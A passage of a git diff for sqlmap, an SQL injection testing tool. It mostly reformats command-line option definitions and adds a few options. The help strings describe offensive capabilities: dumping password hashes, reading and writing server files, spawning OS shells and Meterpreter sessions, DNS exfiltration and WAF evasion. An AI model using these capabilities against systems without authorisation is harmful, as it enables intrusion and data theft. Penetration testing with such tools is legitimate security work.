copying permission """ @@ -50,9 +50,7 @@ def cmdLineParser(argv=None): # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") _ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding) - usage = "%s%s [options]" % ("python " if not IS_WIN else "", \ - "\"%s\"" % _ if " " in _ else _) - + usage = "%s%s [options]" % ("python " if not IS_WIN else "", "\"%s\"" % _ if " " in _ else _) parser = OptionParser(usage=usage) try: @@ -101,29 +99,27 @@ def cmdLineParser(argv=None): help="Force usage of given HTTP method (e.g. PUT)") request.add_option("--data", dest="data", - help="Data string to be sent through POST") + help="Data string to be sent through POST (e.g. \"id=1\")") request.add_option("--param-del", dest="paramDel", - help="Character used for splitting parameter values") + help="Character used for splitting parameter values (e.g. &)") request.add_option("--cookie", dest="cookie", - help="HTTP Cookie header value") + help="HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")") request.add_option("--cookie-del", dest="cookieDel", - help="Character used for splitting cookie values") + help="Character used for splitting cookie values (e.g. ;)") request.add_option("--load-cookies", dest="loadCookies", help="File containing cookies in Netscape/wget format") - request.add_option("--drop-set-cookie", dest="dropSetCookie", - action="store_true", + request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true", help="Ignore Set-Cookie header from response") request.add_option("--user-agent", dest="agent", help="HTTP User-Agent header value") - request.add_option("--random-agent", dest="randomAgent", - action="store_true", + request.add_option("--random-agent", dest="randomAgent", action="store_true", help="Use randomly selected HTTP User-Agent header value") request.add_option("--host", dest="host", @@ -139,62 +135,55 @@ def cmdLineParser(argv=None): help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") request.add_option("--auth-type", dest="authType", - help="HTTP authentication type " - "(Basic, Digest, NTLM or PKI)") + help="HTTP authentication type (Basic, Digest, NTLM or PKI)") request.add_option("--auth-cred", dest="authCred", - help="HTTP authentication credentials " - "(name:password)") + help="HTTP authentication credentials (name:password)") request.add_option("--auth-file", dest="authFile", help="HTTP authentication PEM cert/private key file") request.add_option("--ignore-code", dest="ignoreCode", type="int", - help="Ignore HTTP error code (e.g. 401)") + help="Ignore (problematic) HTTP error code (e.g. 401)") request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true", help="Ignore system default proxy settings") request.add_option("--ignore-redirects", dest="ignoreRedirects", action="store_true", - help="Ignore redirection attempts") + help="Ignore redirection attempts") request.add_option("--ignore-timeouts", dest="ignoreTimeouts", action="store_true", - help="Ignore connection timeouts") + help="Ignore connection timeouts") request.add_option("--proxy", dest="proxy", help="Use a proxy to connect to the target URL") request.add_option("--proxy-cred", dest="proxyCred", - help="Proxy authentication credentials " - "(name:password)") + help="Proxy authentication credentials (name:password)") request.add_option("--proxy-file", dest="proxyFile", help="Load proxy list from a file") - request.add_option("--tor", dest="tor", - action="store_true", - help="Use Tor anonymity network") + request.add_option("--tor", dest="tor", action="store_true", + help="Use Tor anonymity network") request.add_option("--tor-port", dest="torPort", - help="Set Tor proxy port other than default") + help="Set Tor proxy port other than default") request.add_option("--tor-type", dest="torType", - help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))") + help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))") - request.add_option("--check-tor", dest="checkTor", - action="store_true", - help="Check to see if Tor is used properly") + request.add_option("--check-tor", dest="checkTor", action="store_true", + help="Check to see if Tor is used properly") request.add_option("--delay", dest="delay", type="float", help="Delay in seconds between each HTTP request") request.add_option("--timeout", dest="timeout", type="float", - help="Seconds to wait before timeout connection " - "(default %d)" % defaults.timeout) + help="Seconds to wait before timeout connection (default %d)" % defaults.timeout) request.add_option("--retries", dest="retries", type="int", - help="Retries when the connection timeouts " - "(default %d)" % defaults.retries) + help="Retries when the connection timeouts (default %d)" % defaults.retries) request.add_option("--randomize", dest="rParam", help="Randomly change value for given parameter(s)") @@ -211,54 +200,45 @@ def cmdLineParser(argv=None): request.add_option("--safe-freq", dest="safeFreq", type="int", help="Test requests between two visits to a given safe URL") - request.add_option("--skip-urlencode", dest="skipUrlEncode", - action="store_true", + request.add_option("--skip-urlencode", dest="skipUrlEncode", action="store_true", help="Skip URL encoding of payload data") request.add_option("--csrf-token", dest="csrfToken", help="Parameter used to hold anti-CSRF token") request.add_option("--csrf-url", dest="csrfUrl", - help="URL address to visit to extract anti-CSRF token") + help="URL address to visit for extraction of anti-CSRF token") - request.add_option("--force-ssl", dest="forceSSL", - action="store_true", + request.add_option("--force-ssl", dest="forceSSL", action="store_true", help="Force usage of SSL/HTTPS") - request.add_option("--hpp", dest="hpp", - action="store_true", - help="Use HTTP parameter pollution method") + request.add_option("--hpp", dest="hpp", action="store_true", + help="Use HTTP parameter pollution method") request.add_option("--eval", dest="evalCode", help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")") # Optimization options - optimization = OptionGroup(parser, "Optimization", "These " - "options can be used to optimize the " - "performance of sqlmap") + optimization = OptionGroup(parser, "Optimization", "These options can be used to optimize the performance of sqlmap") - optimization.add_option("-o", dest="optimize", - action="store_true", - help="Turn on all optimization switches") + optimization.add_option("-o", dest="optimize", action="store_true", + help="Turn on all optimization switches") optimization.add_option("--predict-output", dest="predictOutput", action="store_true", - help="Predict common queries output") + help="Predict common queries output") optimization.add_option("--keep-alive", dest="keepAlive", action="store_true", - help="Use persistent HTTP(s) connections") + help="Use persistent HTTP(s) connections") optimization.add_option("--null-connection", dest="nullConnection", action="store_true", - help="Retrieve page length without actual HTTP response body") + help="Retrieve page length without actual HTTP response body") optimization.add_option("--threads", dest="threads", type="int", - help="Max number of concurrent HTTP(s) " + help="Max number of concurrent HTTP(s) " "requests (default %d)" % defaults.threads) # Injection options - injection = OptionGroup(parser, "Injection", "These options can be " - "used to specify which parameters to test " - "for, provide custom injection payloads and " - "optional tampering scripts") + injection = OptionGroup(parser, "Injection", "These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts") injection.add_option("-p", dest="testParameter", help="Testable parameter(s)") @@ -270,36 +250,30 @@ def cmdLineParser(argv=None): help="Skip testing parameters that not appear to be dynamic") injection.add_option("--param-exclude", dest="paramExclude", - help="Regexp to exclude parameters from testing (e.g. \"ses\")") + help="Regexp to exclude parameters from testing (e.g. \"ses\")") injection.add_option("--dbms", dest="dbms", - help="Force back-end DBMS to this value") + help="Force back-end DBMS to provided value") injection.add_option("--dbms-cred", dest="dbmsCred", - help="DBMS authentication credentials (user:password)") + help="DBMS authentication credentials (user:password)") injection.add_option("--os", dest="os", - help="Force back-end DBMS operating system " - "to this value") + help="Force back-end DBMS operating system to provided value") - injection.add_option("--invalid-bignum", dest="invalidBignum", - action="store_true", + injection.add_option("--invalid-bignum", dest="invalidBignum", action="store_true", help="Use big numbers for invalidating values") - injection.add_option("--invalid-logical", dest="invalidLogical", - action="store_true", + injection.add_option("--invalid-logical", dest="invalidLogical", action="store_true", help="Use logical operations for invalidating values") - injection.add_option("--invalid-string", dest="invalidString", - action="store_true", + injection.add_option("--invalid-string", dest="invalidString", action="store_true", help="Use random strings for invalidating values") - injection.add_option("--no-cast", dest="noCast", - action="store_true", + injection.add_option("--no-cast", dest="noCast", action="store_true", help="Turn off payload casting mechanism") - injection.add_option("--no-escape", dest="noEscape", - action="store_true", + injection.add_option("--no-escape", dest="noEscape", action="store_true", help="Turn off string escaping mechanism") injection.add_option("--prefix", dest="prefix", @@ -312,54 +286,40 @@ def cmdLineParser(argv=None): help="Use given script(s) for tampering injection data") # Detection options - detection = OptionGroup(parser, "Detection", "These options can be " - "used to customize the detection phase") + detection = OptionGroup(parser, "Detection", "These options can be used to customize the detection phase") detection.add_option("--level", dest="level", type="int", - help="Level of tests to perform (1-5, " - "default %d)" % defaults.level) + help="Level of tests to perform (1-5, default %d)" % defaults.level) detection.add_option("--risk", dest="risk", type="int", - help="Risk of tests to perform (1-3, " - "default %d)" % defaults.risk) + help="Risk of tests to perform (1-3, default %d)" % defaults.risk) detection.add_option("--string", dest="string", - help="String to match when " - "query is evaluated to True") + help="String to match when query is evaluated to True") detection.add_option("--not-string", dest="notString", - help="String to match when " - "query is evaluated to False") + help="String to match when query is evaluated to False") detection.add_option("--regexp", dest="regexp", - help="Regexp to match when " - "query is evaluated to True") + help="Regexp to match when query is evaluated to True") detection.add_option("--code", dest="code", type="int", - help="HTTP code to match when " - "query is evaluated to True") + help="HTTP code to match when query is evaluated to True") - detection.add_option("--text-only", dest="textOnly", - action="store_true", + detection.add_option("--text-only", dest="textOnly", action="store_true", help="Compare pages based only on the textual content") - detection.add_option("--titles", dest="titles", - action="store_true", + detection.add_option("--titles", dest="titles", action="store_true", help="Compare pages based only on their titles") # Techniques options - techniques = OptionGroup(parser, "Techniques", "These options can be " - "used to tweak testing of specific SQL " - "injection techniques") + techniques = OptionGroup(parser, "Techniques", "These options can be used to tweak testing of specific SQL injection techniques") techniques.add_option("--technique", dest="tech", - help="SQL injection techniques to use " - "(default \"%s\")" % defaults.tech) + help="SQL injection techniques to use (default \"%s\")" % defaults.tech) - techniques.add_option("--time-sec", dest="timeSec", - type="int", - help="Seconds to delay the DBMS response " - "(default %d)" % defaults.timeSec) + techniques.add_option("--time-sec", dest="timeSec", type="int", + help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec) techniques.add_option("--union-cols", dest="uCols", help="Range of columns to test for UNION query SQL injection") @@ -373,59 +333,49 @@ def cmdLineParser(argv=None): techniques.add_option("--dns-domain", dest="dnsDomain", help="Domain name used for DNS exfiltration attack") - techniques.add_option("--second-order", dest="secondOrder", - help="Resulting page URL searched for second-order " - "response") + techniques.add_option("--second-url", dest="secondUrl", + help="Resulting page URL searched for second-order response") + + techniques.add_option("--second-req", dest="secondReq", + help="Load second-order HTTP request from file") # Fingerprint options fingerprint = OptionGroup(parser, "Fingerprint") - fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", - action="store_true", + fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", action="store_true", help="Perform an extensive DBMS version fingerprint") # Enumeration options - enumeration = OptionGroup(parser, "Enumeration", "These options can " - "be used to enumerate the back-end database " - "management system information, structure " - "and data contained in the tables. Moreover " - "you can run your own SQL statements") + enumeration = OptionGroup(parser, "Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements") - enumeration.add_option("-a", "--all", dest="getAll", - action="store_true", help="Retrieve everything") + enumeration.add_option("-a", "--all", dest="getAll", action="store_true", + help="Retrieve everything") - enumeration.add_option("-b", "--banner", dest="getBanner", - action="store_true", help="Retrieve DBMS banner") + enumeration.add_option("-b", "--banner", dest="getBanner", action="store_true", + help="Retrieve DBMS banner") - enumeration.add_option("--current-user", dest="getCurrentUser", - action="store_true", + enumeration.add_option("--current-user", dest="getCurrentUser", action="store_true", help="Retrieve DBMS current user") - enumeration.add_option("--current-db", dest="getCurrentDb", - action="store_true", + enumeration.add_option("--current-db", dest="getCurrentDb", action="store_true", help="Retrieve DBMS current database") - enumeration.add_option("--hostname", dest="getHostname", - action="store_true", + enumeration.add_option("--hostname", dest="getHostname", action="store_true", help="Retrieve DBMS server hostname") - enumeration.add_option("--is-dba", dest="isDba", - action="store_true", + enumeration.add_option("--is-dba", dest="isDba", action="store_true", help="Detect if the DBMS current user is DBA") enumeration.add_option("--users", dest="getUsers", action="store_true", help="Enumerate DBMS users") - enumeration.add_option("--passwords", dest="getPasswordHashes", - action="store_true", + enumeration.add_option("--passwords", dest="getPasswordHashes", action="store_true", help="Enumerate DBMS users password hashes") - enumeration.add_option("--privileges", dest="getPrivileges", - action="store_true", + enumeration.add_option("--privileges", dest="getPrivileges", action="store_true", help="Enumerate DBMS users privileges") - enumeration.add_option("--roles", dest="getRoles", - action="store_true", + enumeration.add_option("--roles", dest="getRoles", action="store_true", help="Enumerate DBMS users roles") enumeration.add_option("--dbs", dest="getDbs", action="store_true", @@ -453,7 +403,7 @@ def cmdLineParser(argv=None): help="Search column(s), table(s) and/or database name(s)") enumeration.add_option("--comments", dest="getComments", action="store_true", - help="Retrieve DBMS comments") + help="Check for DBMS comments during enumeration") enumeration.add_option("-D", dest="db", help="DBMS database to enumerate") @@ -464,16 +414,14 @@ def cmdLineParser(argv=None): enumeration.add_option("-C", dest="col", help="DBMS database table column(s) to enumerate") - enumeration.add_option("-X", dest="excludeCol", - help="DBMS database table column(s) to not enumerate") + enumeration.add_option("-X", dest="exclude", + help="DBMS database identifier(s) to not enumerate") enumeration.add_option("-U", dest="user", help="DBMS user to enumerate") - enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs", - action="store_true", - help="Exclude DBMS system databases when " - "enumerating tables") + enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs", action="store_true", + help="Exclude DBMS system databases when enumerating tables") enumeration.add_option("--pivot-column", dest="pivotColumn", help="Pivot column name") @@ -496,28 +444,23 @@ def cmdLineParser(argv=None): enumeration.add_option("--sql-query", dest="query", help="SQL statement to be executed") - enumeration.add_option("--sql-shell", dest="sqlShell", - action="store_true", + enumeration.add_option("--sql-shell", dest="sqlShell", action="store_true", help="Prompt for an interactive SQL shell") enumeration.add_option("--sql-file", dest="sqlFile", help="Execute SQL statements from given file(s)") # Brute force options - brute = OptionGroup(parser, "Brute force", "These " - "options can be used to run brute force " - "checks") + brute = OptionGroup(parser, "Brute force", "These options can be used to run brute force checks") brute.add_option("--common-tables", dest="commonTables", action="store_true", - help="Check existence of common tables") + help="Check existence of common tables") brute.add_option("--common-columns", dest="commonColumns", action="store_true", - help="Check existence of common columns") + help="Check existence of common columns") # User-defined function options - udf = OptionGroup(parser, "User-defined function injection", "These " - "options can be used to create custom user-defined " - "functions") + udf = OptionGroup(parser, "User-defined function injection", "These options can be used to create custom user-defined functions") udf.add_option("--udf-inject", dest="udfInject", action="store_true", help="Inject custom user-defined functions") @@ -526,167 +469,131 @@ def cmdLineParser(argv=None): help="Local path of the shared library") # File system options - filesystem = OptionGroup(parser, "File system access", "These options " - "can be used to access the back-end database " - "management system underlying file system") + filesystem = OptionGroup(parser, "File system access", "These options can be used to access the back-end database management system underlying file system") - filesystem.add_option("--file-read", dest="rFile", - help="Read a file from the back-end DBMS " - "file system") + filesystem.add_option("--file-read", dest="fileRead", + help="Read a file from the back-end DBMS file system") - filesystem.add_option("--file-write", dest="wFile", - help="Write a local file on the back-end " - "DBMS file system") + filesystem.add_option("--file-write", dest="fileWrite", + help="Write a local file on the back-end DBMS file system") - filesystem.add_option("--file-dest", dest="dFile", - help="Back-end DBMS absolute filepath to " - "write to") + filesystem.add_option("--file-dest", dest="fileDest", + help="Back-end DBMS absolute filepath to write to") # Takeover options - takeover = OptionGroup(parser, "Operating system access", "These " - "options can be used to access the back-end " - "database management system underlying " - "operating system") + takeover = OptionGroup(parser, "Operating system access", "These options can be used to access the back-end database management system underlying operating system") takeover.add_option("--os-cmd", dest="osCmd", help="Execute an operating system command") - takeover.add_option("--os-shell", dest="osShell", - action="store_true", - help="Prompt for an interactive operating " - "system shell") + takeover.add_option("--os-shell", dest="osShell", action="store_true", + help="Prompt for an interactive operating system shell") - takeover.add_option("--os-pwn", dest="osPwn", - action="store_true", - help="Prompt for an OOB shell, " - "Meterpreter or VNC") + takeover.add_option("--os-pwn", dest="osPwn", action="store_true", + help="Prompt for an OOB shell, Meterpreter or VNC") - takeover.add_option("--os-smbrelay", dest="osSmb", - action="store_true", - help="One click prompt for an OOB shell, " - "Meterpreter or VNC") + takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true", + help="One click prompt for an OOB shell, Meterpreter or VNC") - takeover.add_option("--os-bof", dest="osBof", - action="store_true", + takeover.add_option("--os-bof", dest="osBof", action="store_true", help="Stored procedure buffer overflow " "exploitation") - takeover.add_option("--priv-esc", dest="privEsc", - action="store_true", + takeover.add_option("--priv-esc", dest="privEsc", action="store_true", help="Database process user privilege escalation") takeover.add_option("--msf-path", dest="msfPath", - help="Local path where Metasploit Framework " - "is installed") + help="Local path where Metasploit Framework is installed") takeover.add_option("--tmp-path", dest="tmpPath", - help="Remote absolute path of temporary files " - "directory") + help="Remote absolute path of temporary files directory") # Windows registry options - windows = OptionGroup(parser, "Windows registry access", "These " - "options can be used to access the back-end " - "database management system Windows " - "registry") + windows = OptionGroup(parser, "Windows registry access", "These options can be used to access the back-end database management system Windows registry") - windows.add_option("--reg-read", dest="regRead", - action="store_true", - help="Read a Windows registry key value") + windows.add_option("--reg-read", dest="regRead", action="store_true", + help="Read a Windows registry key value") - windows.add_option("--reg-add", dest="regAdd", - action="store_true", - help="Write a Windows registry key value data") + windows.add_option("--reg-add", dest="regAdd", action="store_true", + help="Write a Windows registry key value data") - windows.add_option("--reg-del", dest="regDel", - action="store_true", - help="Delete a Windows registry key value") + windows.add_option("--reg-del", dest="regDel", action="store_true", + help="Delete a Windows registry key value") windows.add_option("--reg-key", dest="regKey", - help="Windows registry key") + help="Windows registry key") windows.add_option("--reg-value", dest="regVal", - help="Windows registry key value") + help="Windows registry key value") windows.add_option("--reg-data", dest="regData", - help="Windows registry key value data") + help="Windows registry key value data") windows.add_option("--reg-type", dest="regType", - help="Windows registry key value type") + help="Windows registry key value type") # General options - general = OptionGroup(parser, "General", "These options can be used " - "to set some general working parameters") + general = OptionGroup(parser, "General", "These options can be used to set some general working parameters") general.add_option("-s", dest="sessionFile", - help="Load session from a stored (.sqlite) file") + help="Load session from a stored (.sqlite) file") general.add_option("-t", dest="trafficFile", - help="Log all HTTP traffic into a " - "textual file") + help="Log all HTTP traffic into a textual file") - general.add_option("--batch", dest="batch", - action="store_true", - help="Never ask for user input, use the default behavior") + general.add_option("--batch", dest="batch", action="store_true", + help="Never ask for user input, use the default behavior") general.add_option("--binary-fields", dest="binaryFields", - help="Result fields having binary values (e.g. \"digest\")") + help="Result fields having binary values (e.g. \"digest\")") - general.add_option("--check-internet", dest="checkInternet", - action="store_true", - help="Check Internet connection before assessing the target") + general.add_option("--check-internet", dest="checkInternet", action="store_true", + help="Check Internet connection before assessing the target") general.add_option("--crawl", dest="crawlDepth", type="int", - help="Crawl the website starting from the target URL") + help="Crawl the website starting from the target URL") general.add_option("--crawl-exclude", dest="crawlExclude", help="Regexp to exclude pages from crawling (e.g. \"logout\")") general.add_option("--csv-del", dest="csvDel", - help="Delimiting character used in CSV output " - "(default \"%s\")" % defaults.csvDel) + help="Delimiting character used in CSV output (default \"%s\")" % defaults.csvDel) general.add_option("--charset", dest="charset", help="Blind SQL injection charset (e.g. \"0123456789abcdef\")") general.add_option("--dump-format", dest="dumpFormat", - help="Format of dumped data (CSV (default), HTML or SQLITE)") + help="Format of dumped data (CSV (default), HTML or SQLITE)") general.add_option("--encoding", dest="encoding", - help="Character encoding used for data retrieval (e.g. GBK)") + help="Character encoding used for data retrieval (e.g. GBK)") - general.add_option("--eta", dest="eta", - action="store_true", - help="Display for each output the estimated time of arrival") + general.add_option("--eta", dest="eta", action="store_true", + help="Display for each output the estimated time of arrival") - general.add_option("--flush-session", dest="flushSession", - action="store_true", - help="Flush session files for current target") + general.add_option("--flush-session", dest="flushSession", action="store_true", + help="Flush session files for current target") - general.add_option("--forms", dest="forms", - action="store_true", - help="Parse and test forms on target URL") + general.add_option("--forms", dest="forms", action="store_true", + help="Parse and test forms on target URL") - general.add_option("--fresh-queries", dest="freshQueries", - action="store_true", - help="Ignore query results stored in session file") + general.add_option("--fresh-queries", dest="freshQueries", action="store_true", + help="Ignore query results stored in session file") general.add_option("--har", dest="harFile", help="Log all HTTP traffic into a HAR file") - general.add_option("--hex", dest="hexConvert", - action="store_true", - help="Use DBMS hex function(s) for data retrieval") + general.add_option("--hex", dest="hexConvert", action="store_true", + help="Use hex conversion during data retrieval") - general.add_option("--output-dir", dest="outputDir", - action="store", - help="Custom output directory path") + general.add_option("--output-dir", dest="outputDir", action="store", + help="Custom output directory path") - general.add_option("--parse-errors", dest="parseErrors", - action="store_true", - help="Parse and display DBMS error messages from responses") + general.add_option("--parse-errors", dest="parseErrors", action="store_true", + help="Parse and display DBMS error messages from responses") general.add_option("--save", dest="saveConfig", - help="Save options to a configuration INI file") + help="Save options to a configuration INI file") general.add_option("--scope", dest="scope", help="Regexp to filter targets from provided proxy log") @@ -697,79 +604,74 @@ def cmdLineParser(argv=None): general.add_option("--test-skip", dest="testSkip", help="Skip tests by payloads and/or titles (e.g. BENCHMARK)") - general.add_option("--update", dest="updateAll", - action="store_true", - help="Update sqlmap") + general.add_option("--update", dest="updateAll", action="store_true", + help="Update sqlmap") # Miscellaneous options miscellaneous = OptionGroup(parser, "Miscellaneous") miscellaneous.add_option("-z", dest="mnemonics", - help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")") + help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")") miscellaneous.add_option("--alert", dest="alert", - help="Run host OS command(s) when SQL injection is found") + help="Run host OS command(s) when SQL injection is found") miscellaneous.add_option("--answers", dest="answers", - help="Set question answers (e.g. \"quit=N,follow=N\")") + help="Set predefined answers (e.g. \"quit=N,follow=N\")") miscellaneous.add_option("--beep", dest="beep", action="store_true", - help="Beep on question and/or when SQL injection is found") + help="Beep on question and/or when SQL injection is found") - miscellaneous.add_option("--cleanup", dest="cleanup", - action="store_true", - help="Clean up the DBMS from sqlmap specific " - "UDF and tables") + miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true", + help="Clean up the DBMS from sqlmap specific UDF and tables") - miscellaneous.add_option("--dependencies", dest="dependencies", - action="store_true", - help="Check for missing (non-core) sqlmap dependencies") + miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true", + help="Check for missing (optional) sqlmap dependencies") - miscellaneous.add_option("--disable-coloring", dest="disableColoring", - action="store_true", - help="Disable console output coloring") + miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true", + help="Disable console output coloring") miscellaneous.add_option("--gpage", dest="googlePage", type="int", - help="Use Google dork results from specified page number") + help="Use Google dork results from specified page number") - miscellaneous.add_option("--identify-waf", dest="identifyWaf", - action="store_true", - help="Make a thorough testing for a WAF/IPS/IDS protection") + miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true", + help="Make a thorough testing for a WAF/IPS protection") - miscellaneous.add_option("--mobile", dest="mobile", - action="store_true", - help="Imitate smartphone through HTTP User-Agent header") + miscellaneous.add_option("--list-tampers", dest="listTampers", action="store_true", + help="Display list of available tamper scripts") - miscellaneous.add_option("--offline", dest="offline", - action="store_true", - help="Work in offline mode (only use session data)") + miscellaneous.add_option("--mobile", dest="mobile", action="store_true", + help="Imitate smartphone through HTTP User-Agent header") - miscellaneous.add_option("--purge-output", dest="purgeOutput", - action="store_true", - help="Safely remove all content from output directory") + miscellaneous.add_option("--offline", dest="offline", action="store_true", + help="Work in offline mode (only use session data)") - miscellaneous.add_option("--skip-waf", dest="skipWaf", - action="store_true", - help="Skip heuristic detection of WAF/IPS/IDS protection") + miscellaneous.add_option("--purge", dest="purge", action="store_true", + help="Safely remove all content from sqlmap data directory") - miscellaneous.add_option("--smart", dest="smart", - action="store_true", - help="Conduct thorough tests only if positive heuristic(s)") + miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true", + help="Skip heuristic detection of WAF/IPS protection") + + miscellaneous.add_option("--smart", dest="smart", action="store_true", + help="Conduct thorough tests only if positive heuristic(s)") miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true", - help="Prompt for an interactive sqlmap shell") + help="Prompt for an interactive sqlmap shell") miscellaneous.add_option("--tmp-dir", dest="tmpDir", - help="Local directory for storing temporary files") + help="Local directory for storing temporary files") miscellaneous.add_option("--web-root", dest="webRoot", - help="Web server document root directory (e.g. \"/var/www\")") + help="Web server document root directory (e.g. \"/var/www\")") - miscellaneous.add_option("--wizard", dest="wizard", - action="store_true", - help="Simple wizard interface for beginner users") + miscellaneous.add_option("--wizard", dest="wizard", action="store_true", + help="Simple wizard interface for beginner users") # Hidden and/or experimental options + parser.add_option("--crack", dest="hashFile", + help=SUPPRESS_HELP) +# help="Load and crack hashes from a file (standalone)") + parser.add_option("--dummy", dest="dummy", action="store_true", help=SUPPRESS_HELP) @@ -791,6 +693,9 @@ def cmdLineParser(argv=None): parser.add_option("--force-dns", dest="forceDns", action="store_true", help=SUPPRESS_HELP) + parser.add_option("--force-pivoting", dest="forcePivoting", action="store_true", + help=SUPPRESS_HELP) + parser.add_option("--force-threads", dest="forceThreads", action="store_true", help=SUPPRESS_HELP) @@ -852,6 +757,7 @@ def _(self, *args): prompt = False advancedHelp = True extraHeaders = [] + tamperIndex = None # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") for arg in argv: @@ -909,7 +815,7 @@ def _(self, *args): for arg in shlex.split(command): argv.append(getUnicode(arg, encoding=sys.stdin.encoding)) except ValueError, ex: - raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex.message + raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % ex.message) for i in xrange(len(argv)): if argv[i] == "-hh": @@ -923,6 +829,12 @@ def _(self, *args): elif re.search(r"\A-\w=.+", argv[i]): dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i]) raise SystemExit + elif argv[i].startswith("--tamper"): + if tamperIndex is None: + tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None) + else: + argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else "")) + argv[i] = "" elif argv[i] == "-H": if i + 1 < len(argv): extraHeaders.append(argv[i + 1]) @@ -976,11 +888,9 @@ def _(self, *args): if args.dummy: args.url = args.url or DUMMY_URL - if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, \ - args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, \ - args.purgeOutput, args.sitemapUrl)): - errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), " - errMsg += "use -h for basic or -hh for advanced help\n" + if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.sitemapUrl, args.listTampers, args.hashFile)): + errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge or --dependencies). " + errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) return args diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index d8ae541d65f..c76b7399483 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/handler.py b/lib/parse/handler.py index 191466a8dbd..b69df9e8175 100644 --- a/lib/parse/handler.py +++ b/lib/parse/handler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/headers.py b/lib/parse/headers.py index 58accf9a8b9..b348f25b230 100644 --- a/lib/parse/headers.py +++ b/lib/parse/headers.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -13,7 +13,6 @@ from lib.core.data import paths from lib.parse.handler import FingerprintHandler - def headersParser(headers): """ This function calls a class that parses the input HTTP headers to @@ -24,18 +23,16 @@ def headersParser(headers): if not kb.headerPaths: kb.headerPaths = { "microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"), - "server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"), - "servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"), - "set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"), - "x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"), - "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"), + "server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"), + "servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"), + "set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"), + "x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"), + "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"), } - for header in itertools.ifilter(lambda x: x in kb.headerPaths, headers): + for header in itertools.ifilter(lambda _: _ in kb.headerPaths, headers): value = headers[header] xmlfile = kb.headerPaths[header] - handler = FingerprintHandler(value, kb.headersFp) - parseXmlFile(xmlfile, handler) parseXmlFile(paths.GENERIC_XML, handler) diff --git a/lib/parse/html.py b/lib/parse/html.py index c80bc3599b5..3ec61d52fed 100644 --- a/lib/parse/html.py +++ b/lib/parse/html.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -9,6 +9,7 